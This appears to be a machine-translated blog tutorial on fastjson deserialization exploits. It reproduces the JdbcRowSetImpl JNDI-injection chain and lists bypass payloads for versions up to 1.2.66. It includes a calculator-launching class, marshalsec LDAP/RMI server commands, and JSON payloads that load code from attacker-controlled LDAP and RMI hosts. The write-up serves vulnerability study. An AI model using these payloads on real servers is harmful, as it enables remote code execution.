Python WeChat Subscription Applet Course Video
https://blog.csdn.net/m0_56069948/article/details/122285951
Python Actual Quantitative Transaction Finance System
https://blog.csdn.net/m0_56069948/article/details/122285941
JdbcRowSetImpl
Continue to learn the second chain of fastjson, JdbcRowSetImpl, which is mainly an attack using jndi injection, with no limitations, and is based on the automatic invocation of setter, which can be referred to in the debugging section of the previous article.
1. Vulnerability Reproduction
1.1, Component Dependent Version
fastjson:1.2.22-1.2.24
1.2. Mode of utilization
Unlike the way TemplatesImpl chains need to be utilized, JdbcRowSetImpl chains only need to be able to control the input to be utilized.
JSON.parse(evil); JSON.parseObject(evil); JSON.parseObject(evil, Object.class);
Of course, there is a need for jdk version, because the higher version of jdk has limitations on jndi and rmi. It is also mentioned in the RMI section that it is posted here again for you to view later
RMI Utilized JDK Edition≤ JDK 6u132,7u122,8u113 LADP utilize JDK Edition≤ 6u211 ,7u201,8u191
Picture shows Aliyun application
1.3. Vulnerability Reproduction
Prepare malicious code
import java.io.IOException; public class EXP { public EXP() throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } }
Compile Malicious Code
javac EXP.java
Open http service
python3 -m http.server
Opening the jndi service with marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389
Use JdbcRowSetImpl to construct poc, successful pop-up window
package com.akkacloud.demo; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 { public static void main(String[] args) { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); try { jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP"); jdbcRowSet.setAutoCommit(true); } catch (SQLException throwables) { throwables.printStackTrace(); } } }
Because fastjson automatically calls setter and getter, you can see
The part of the Poc debugging, so we can construct the POC at fastjson
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
We JSON.parse() try it
poc
package com.akkacloud.demo; import com.alibaba.fastjson.JSON; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 { public static void main(String[] args) { String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}"; JSON.parse(exp); } }
1.4. Debugging by Chain
This time we will skip the use chain of fastjson directly, because we have been followed up in TemplateImpl in detail, and we will go directly to jdbcRowImpl to break the point in the setDataSourceName method. In fact, we can see from the call stack that the first half is the same as the TemplatesImpl chain, one is getOutputproperties, the other is DataSourceName.
Let's go ahead and see if DataSourceName is null or not, and we'll follow up
You can see that it's just a simple dataSource assignment, then setAutoCommit
Is to judge this. Whether conn is null or not, null calls this. The connect() method assignment, so let's follow up
Follow up to find that the lookup method is called by the Get Context, and the parameter is that we get the dataSource we assigned earlier
Then the code executes successfully
2. Vulnerability Bypass
The first two chains are both Fastjson versions 1.2.22-1.2.24, which are bypassed later.
2.1,Fastjson:1.2.25-1.2.41
Let's change the dependent version to 1.2.25 first. It's not good to perform poc discovery again. Error, autotype doesn't support it. Let's compare the two packages
We saw this code in TemplatesImpl, this.config is ParserConfig, ref is templatesImpl, he checked ref with checkAutoType, let's see how he checked, and we'll make a breakpoint here
Indeed, checkAutoType was used to check ref(TemplatesImpl) at 1.2.25, and we followed up to find that TypeUtils was being called. LoadClass, you need to enter if, but this.autoTypeSupport defaults to false, so it can't get in.
And flase is the default in version 1.2.25, so we need to put this in place. AutoTypeSupport is set to true,
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
And then to this. AcceptList because it is empty
And then there's the blacklist denyList. Let's see what it is and find out that we're com.sun packages are here and some other utilizing chain classes.
So what should we do? What can we do to get into TypeUtils? LoadClass (typeName, this.defaultClassLoader), the big guys follow up with TypeUtils.loadClass method, found bypass method, we follow up.
Follow-up shows that one @Type field begins with [', the other with';' At the end, he gets our className from the second character.
So we can construct a new payload if the AutoTypeSupport is true
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // Close whitelist must be displayed {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}"; JSON.parseObject(exp);
2.2,Fastjson:1.2.42
We continue to modify fastjson version 1.2.42, continue to error autotype does not support, should be blacklist problem.
Our debugging point is still checkAutoType, so follow up
Come in and find a bunch of hash es, but throw them into our first red box and put the "L" and "; Removed.
And hash is encrypted on com.alibaba.fastjson.util.TypeUtils#fnv1a_64, we just need to collide a malicious class through hash to get the blacklist, item address: https://github.com/LeadroyaL/fastjson-blacklist
Because "L" and ";" have been removed once before. So if we can't get into it, we can bypass it with double writing.
Modify payload
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
package com.akkacloud.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 { public static void main(String[] args) { String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(exp); } }
2.3,Fastjson:1.2.43
1.2.43 is to make a decision on "LL" on the original basis, is to throw an exception directly
But'['still works
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}
package com.akkacloud.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 { public static void main(String[] args) { /* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); try { jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP"); jdbcRowSet.setAutoCommit(true); } catch (SQLException throwables) { throwables.printStackTrace(); }*/ String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(exp); } }
2.4,Fastjson:1.2.44
Restrict
2.5,Fastjson:1.2.45
Conditions require that mybatis jar packages exist on the target server side with version 3.x.x series <3.5.0 version.
<dependency> <groupId>org.apache.ibatisgroupId> <artifactId>ibatis-coreartifactId> <version>3.0version> dependency>
rmi service used
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099
poc
//Need third-party component ibatis-core 3:0 {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"rmi://localhost:1099/Exploit"}}
package com.akkacloud.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 { public static void main(String[] args) { String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data\_source\":\"rmi://localhost:1099/EXP\"}}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(exp); } }
This is not the same way as before. Learn
@type specifies the JndiDataSourceFactory class, calls setProperties, and the principle remains that fastJson automatically calls the getter and setter methods. Let's follow up on setProperties to see
Here's lookup, the json string data_passed in Source, causing RCE
2.6, 1.2.25-1.2.47 assassination
No autotype and blacklist restrictions
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }
package com.akkacloud.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory; import java.sql.SQLException; public class fastjonTest2 { public static void main(String[] args) { String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}"; JSON.parseObject(exp); } }
We followed analytic learning at checkAutoType, because we first passed in @Type is java.lang.Class, also does not set autoTypeSupport to true, so it passes through TypeUtils.getClassFromMapping(typeName) to find, or from this.deserializers.findClass(typeName) Find.
At this. Java was found in deserializers. Lang.Class, and then clazz,
Let's go back to the parseObject method of the DefaultJSONParser layer above, and then we'll move on to the following
Get java. Deserialization Processing Class for lang.Class, com.alibaba.fastjson.serializer.MiscCodec, then deserializer.deserialze(), follow up
Enter MiscCodec.deserialze(), we go directly to the key parser.parse(), this method is used to get the val ue, so let's follow up
It's simply traversing to get the value of value and returning
Then assign to strVal
Then there's a bunch of if judgments, and you go to TypeUtils. LoadClass (strVal, parser.getConfig()). GetDefaultClassLoader(), passing strVal in
Following up, jdbcRowSetImpl is stored in the mapping, that is, in the mapping cache
Follow the program to check AutoType (), and follow up.
The jdbcRowImpl is queried in the mapping because we've already saved it, so clazz gets it, and then returns, so I go back one level
Going here, we get jdbcRowSetImpl successfully, and then we automatically set our own method, setDataSourceName, setautoCommit executes lookup, causing rce
2.7,Fastjson:1.2.48
There are two more blacklists, MiscCodec changes the default incoming cache to false, checkAutoType() adjusts the logic
2.8,Fastjson:1.2.62
- AutoType needs to be turned on;
- Fastjson <= 1.2.62;
- JNDI injection takes advantage of the JDK version limitations imposed;
- The xbean-reflect package needs to exist on the target server side.
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
2.9,Fastjson:1.2.66
// autotype true is required {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
Reference Links
https://y4er.com/post/fastjson-learn/
https://blog.csdn.net/nice0e3/p/14776043.html